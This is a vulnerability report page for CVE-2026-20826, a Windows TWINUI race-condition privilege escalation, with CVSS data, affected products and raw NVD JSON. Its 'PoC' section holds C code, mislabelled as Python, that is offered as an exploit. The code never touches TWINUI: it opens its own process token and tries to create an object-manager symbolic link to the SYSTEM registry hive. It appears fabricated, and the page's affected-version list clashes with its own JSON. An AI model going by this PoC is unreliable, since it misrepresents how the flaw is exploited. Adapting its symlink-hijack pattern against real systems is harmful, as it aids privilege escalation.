Security Vulnerability Report
中文
CVE-2026-20826 CVSS 7.8 HIGH

CVE-2026-20826

Published: 2026-01-13 18:16:10
Last Modified: 2026-01-15 13:16:28

Description

Concurrent execution using shared resource with improper synchronization ('race condition') in Tablet Windows User Interface (TWINUI) Subsystem allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 1809/1903/1909/2004/20H2/21H1/21H2/22H2
Windows 11 21H2/22H2
Windows Server 2019/2022

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-20826 PoC - Race Condition in TWINUI // This PoC demonstrates the race condition vulnerability in Windows TWINUI subsystem // Compile: x86_64-w64-mingw32-gcc -o twinuipoc.exe twinuipoc.c #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <stdio.h> #include <threads.h> // Shared resource structure typedef struct _TWINUI_SHARED_DATA { HANDLE hFile; DWORD dwProcessId; PVOID pCallback; CRITICAL_SECTION csLock; } TWINUI_SHARED_DATA, *PTWINUI_SHARED_DATA; TWINUI_SHARED_DATA g_SharedData; volatile LONG g_bRaceWindow = 0; // Thread 1: Creates the race condition window DWORD WINAPI TriggerRaceThread(LPVOID lpParam) { printf("[+] Thread 1: Initializing TWINUI shared resource access\n"); // Enter race window InterlockedExchange(&g_bRaceWindow, 1); // Simulate TWINUI callback execution with elevated privileges printf("[+] Thread 1: Executing privileged callback in race window\n"); Sleep(100); // Small delay to widen race window // Trigger privileged operation HANDLE hToken; OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken); printf("[+] Thread 1: Obtained process token handle: %p\n", hToken); InterlockedExchange(&g_bRaceWindow, 0); return 0; } // Thread 2: Exploits the race condition to hijack execution DWORD WINAPI ExploitRaceThread(LPVOID lpParam) { printf("[+] Thread 2: Waiting for race window...\n"); // Spin wait for race condition window while (g_bRaceWindow == 0) { Sleep(1); } printf("[+] Thread 2: Race window opened! Exploiting...\n"); // Create symbolic link to hijack object manager path HANDLE hSymLink; OBJECT_ATTRIBUTES oa; UNICODE_STRING usLinkName, usTargetName; RtlInitUnicodeString(&usLinkName, L"\\??\\TWINUI_HIJACK"); RtlInitUnicodeString(&usTargetName, L"\\??\\C:\\Windows\\System32\\config\\SYSTEM"); InitializeObjectAttributes(&oa, &usLinkName, OBJ_CASE_INSENSITIVE, NULL, NULL); // Attempt to create symbolic link during race window NTSTATUS status = NtCreateSymbolicLinkObject(&hSymLink, SYMBOLIC_LINK_ALL_ACCESS, &oa, &usTargetName); if (NT_SUCCESS(status)) { printf("[+] Thread 2: Symbolic link created successfully!\n"); printf("[+] Thread 2: TWINUI will now access our controlled path\n"); } return 0; } int main() { printf("[*] CVE-2026-20826 PoC - Windows TWINUI Race Condition\n"); printf("[*] Target: Windows 10/11 TWINUI Subsystem\n\n"); // Initialize shared data memset(&g_SharedData, 0, sizeof(TWINUI_SHARED_DATA)); InitializeCriticalSection(&g_SharedData.csLock); // Create race condition threads HANDLE hThread1 = CreateThread(NULL, 0, TriggerRaceThread, NULL, 0, NULL); HANDLE hThread2 = CreateThread(NULL, 0, ExploitRaceThread, NULL, 0, NULL); // Wait for threads to complete WaitForSingleObject(hThread1, INFINITE); WaitForSingleObject(hThread2, INFINITE); printf("\n[*] Race condition test completed.\n"); printf("[*] Note: This is a demonstration of the race condition pattern.\n"); printf("[*] Full exploitation requires additional kernel-level primitives.\n"); CloseHandle(hThread1); CloseHandle(hThread2); DeleteCriticalSection(&g_SharedData.csLock); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20826", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:10.153", "lastModified": "2026-01-15T13:16:27.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Tablet Windows User Interface (TWINUI) Subsystem allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Ejecución concurrente utilizando un recurso compartido con sincronización inadecuada ('condición de carrera') en el subsistema de Interfaz de Usuario de Tablet Windows (TWINUI) permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20826", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}